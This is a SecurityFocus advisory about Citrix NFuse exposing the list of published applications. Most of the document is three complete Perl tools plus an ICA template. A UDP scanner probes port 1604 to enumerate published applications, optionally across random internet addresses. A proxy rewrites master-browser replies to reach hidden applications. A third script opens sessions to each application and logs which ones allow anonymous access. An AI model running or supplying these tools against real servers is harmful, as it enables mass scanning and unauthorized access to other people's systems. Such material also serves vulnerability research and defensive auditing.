source: https://www.securityfocus.com/bid/3926/info
Citrix Nfuse is an application portal server meant to provide the functionality of any application on the server via a web browser. Nfuse works in conjunction with a previously-installed webserver.
If a request for 'applist.asp' is submitted without authentication, Nfuse reportedly will disclose a list of all published applications.
There have been reports that this issue could not be reproduced.
* The result of this issue is likely due to a session cookie which is not deleted until all browser sessions are shut down. If the user properly logs out, the session cookie is modified such that they must re-authenticate.
Citrix-pa-scan:
This tool should be used to enumerate Citrix published applications.
#!/usr/bin/perl
use Socket;
$SIG{ALRM}=sub { $connection=0; close(CON); };
$trick_master=
"\x20\x00\x01\x30\x02\xFD\xA8\xE3" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00"
;
$get_pa=
"\x2a\x00\x01\x32\x02\xfd" .
"\xa8\xe3\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x21\x00" .
"\x02\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00"
;
$|=1;
print "\nCitrix Published Application Scanner version 2.0\
By Ian Vitek, ian.vitek\@ixsecurity.com\n";
die "\nUsage: $0 {IP | file | - | random } [timeout]\
\tIP\tIP to test\
\tfile\tRead IPs from file\
\t-\tRead IPs from standard input\
\trandom\tRead IPs from /dev/urandom\
\ttimeout\tTimeout\
\n" if(!$ARGV[0]);
$input=$ARGV[0];
$timeout=$ARGV[1];
$timeout=1 if(!$timeout);
if($input eq "-" || -r $input) {
open(INPUTFD,"$input") or die "Cant open file $input: $!\n";
$newHost=2;
} elsif ($input eq "random") {
open(RANDOM,"/dev/urandom") or die "Cant open /dev/urandom: $!\n";
binmode(RANDOM);
$newHost=3;
} else {
$newHost=1;
}
$loop=1;
while($loop==1) {
undef $target;
if($newHost==2) {
$target=<INPUTFD> or exit;
chomp $target;
$target=~s/\s*(\S+)/$1/;
redo if(!$target);
} elsif ($newHost==1) {
$loop=0;
$target=$input;
} elsif ($newHost==3) {
undef @ch;
$i=0;
while($i<4) {
while($ch[$i] < 1 || $ch[$i] > 254) {
$ch[$i]=ord getc(RANDOM);
}
$i++;
}
$target=sprintf("%d.%d.%d.%d",$ch[0],$ch[1],$ch[2],$ch[3]);
} else {
die "Nothing to do? Check input!\n\n";
}
#
# Get Master Browser
#
$server=inet_aton($target) or die "Is \"${target}\" a target?\n\n";
$retry=0;
$connection=0;
while($retry++<2 and $connection==0) {
$connection=1;
socket(CON, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
send(CON, $trick_master, 0, sockaddr_in(1604, $server));
alarm $timeout;
$from_CON=recv(CON,$data,1500,0);
alarm 0;
}
close(CON);
if($connection==0) {
print "$target not responding\n";
next;
}
undef $master_raw;
undef $master;
($master_raw)=$data=~/.+\x02\x00\x06\x44(....)/s;
if($master_raw) {
$master=sprintf("%d.%d.%d.%d",ord substr($master_raw,0,1),ord
substr($master_raw,1,1),ord substr($master_raw,2,1),ord
substr($master_raw,3,1));
} else {
$master="ERROR";
}
print "$target|$master";
if($target eq $master) {
print "|1|";
} else {
print "|0|";
}
#
# Enumerate PA
#
$retry=0;
$connection=0;
while($retry++<2 and $connection==0) {
$connection=1;
socket(CON, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
send(CON, $get_pa, 0, sockaddr_in(1604, $server));
alarm $timeout;
undef $data;
$from_CON=recv(CON,$data,1500,0);
alarm 0;
}
if($connection==0) {
print "Connection lost\n";
next;
}
undef $pa;
$pa=substr($data,40);
chop $pa;
$pa=~s/\x00/\;/sg;
print "$pa";
#
# More packets?
#
$last_packet=ord substr($data,30,1);
while($last_packet==0) {
$connection=1;
alarm $timeout*2;
undef $data;
$from_CON=recv(CON,$data,1500,0);
alarm 0;
if($connection==0) {
print ",ERROR";
last;
}
undef $pa;
$pa=substr($data,39);
chop $pa;
$pa=~s/\x00/\;/sg;
print "$pa";
$last_packet=ord substr($data,30,1);
}
close(CON);
print "\n";
}
Citrix-pa-proxy:
This tool should be used to enumerate and connect to a published
application with the Citrix client when the master browser is non-public.
#!/usr/bin/perl
use Socket;
die "\
* citrix-pa-proxy 2.0 by Ian.Vitek\@ixsecurity.com *\
usage: $0 IP_to_proxy_to [Local_ip]\
\
" if(@ARGV==0);
$timeout=2;
$server_ip=$ARGV[0];
$proxy_ip="127.0.0.1";
if($ARGV[1]) {
$proxy_ip=$ARGV[1];
$timeout=4;
}
$server=inet_aton($server_ip);
$proxy=inet_aton($proxy_ip);
$pa_connect=1;
while(1) {
close(CON1);
socket(CON1, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
bind(CON1, sockaddr_in(1604,INADDR_ANY));
$from_CON1=recv(CON1,$data1,1500,0);
($from_CON1_port,$from_CON1_ip)=sockaddr_in($from_CON1);
if(substr($data1,3,5) eq "\x32\x02\xfd\xa8\xe3" && $pa_connect) {
$pa_connect=0;
warn("- Hey! This is a PA enumerate session.\n");
warn("- Closing. Try to enumerate again.\n");
redo;
}
if($pa_connect) {
warn("PA connect from " . inet_ntoa($from_CON1_ip) . ":" .
$from_CON1_port . "\n");
} else {
warn("PA enumerate from " . inet_ntoa($from_CON1_ip) . ":" .
$from_CON1_port . "\n");
}
$connection=0;
$retry=0;
$SIG{ALRM}=sub { $connection=0; close(CON2); };
while($retry++<3 and $connection==0) {
socket(CON2, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
$connection=1;
alarm $timeout;
warn("Sending request to $server_ip:1604\n");
send(CON2, $data1, 0, sockaddr_in(1604,$server));
alarm 0;
}
if($connection==0) {
warn("No connection to $server_ip\n\n");
close(CON1);
next;
}
alarm $timeout;
$from_CON2=recv(CON2,$data2,1500,0);
alarm 0;
close(CON2);
if($connection==0) {
warn("No answer from $server_ip\n\n");
close(CON1);
next;
} else {
warn("Got answer from $server_ip\n");
}
if(substr($data2,0,1) eq "\x30" && $pa_connect) {
$data2=~s/\x02\x00\x06\x44(.)(.)(.)(.)/\x02\x00\x06\x44$proxy/sg;
$spoof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
warn("- Changing $spoof to $proxy_ip\n");
} else {
$data2=~s/\x02\x00\x06\x44(.)(.)(.)(.)/\x02\x00\x06\x44$server/sg;
$spoof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
$data2=~s/\x02\x00\x05\xd6..../\x02\x00\x05\xd6$server/sg
if($pa_connect);
warn("- Changing $spoof to $server_ip\n");
$pa_connect=1;
}
warn("Proxying\n");
$SIG{ALRM}=sub { $connection=0; close(CON1); };
alarm $timeout;
send(CON1, "$data2", 0, $from_CON1);
alarm 0;
close(CON1);
if($connection==0) {
warn("No connection to client\n\n");
close(CON1);
next;
} else {
warn("Done\n\n");
}
}
Pas:
This tool should be used to connect to the applications reported by
citrix-pa-scan.pl.
#!/usr/bin/perl
$|=1;
open(INDATA, "pas.wri") or die "Cant read data file: $!\n";
open(RESULT, ">pas_results.wri") or die "Cant create result file: $!\n";
while($line=<INDATA>) {
chomp $line;
next if( $line!~/^(\d+\.\d+\.\d+\.\d+)\|\d+\.\d+\.\d+\.\d+\|[01]\|(.+)/
);
$ip=$1;
@pa=split(';',$2);
foreach $test_pa (@pa) {
open(TEMPLATE,"template.ica") or die "Cant open template file: $!\n";
open(ICA,">ica.ica") or die "Cant create ica file; $!\n";
while($tline=<TEMPLATE>) {
$tline=~s/IPIPIP/$ip/;
$tline=~s/PAPAPA/$test_pa/;
print ICA $tline;
}
close(ICA);
system('ica.ica');
$result=0;
while($result < 1 || $result > 5) {
print "\nHow did the connect to $test_pa on $ip go?\n";
print "1: Wery well, anonymous login, but no desktop.\n";
print "2: Anonymous and vulnerable.\n";
print "3: Login required.\n";
print "4: Error. No connection or similar.\n";
print "\n";
print "5: Redo\n";
print "> ";
$result=<>;
chomp $result;
}
redo if($result==5);
print RESULT "$ip\|$test_pa|$result\n";
}
}
template.ica:
(Needed by pas.pl)
[WFClinet]
Version=2
ClientName=testClient
[ApplicationServers]
PAPAPA=
[PAPAPA]
Address=IPIPIP
InitialProgram=#PAPAPA
TransportDriver=TCP/IP
WinStationDriver=ICA 3.0
DesiredHRES=800
DesiredVRES=600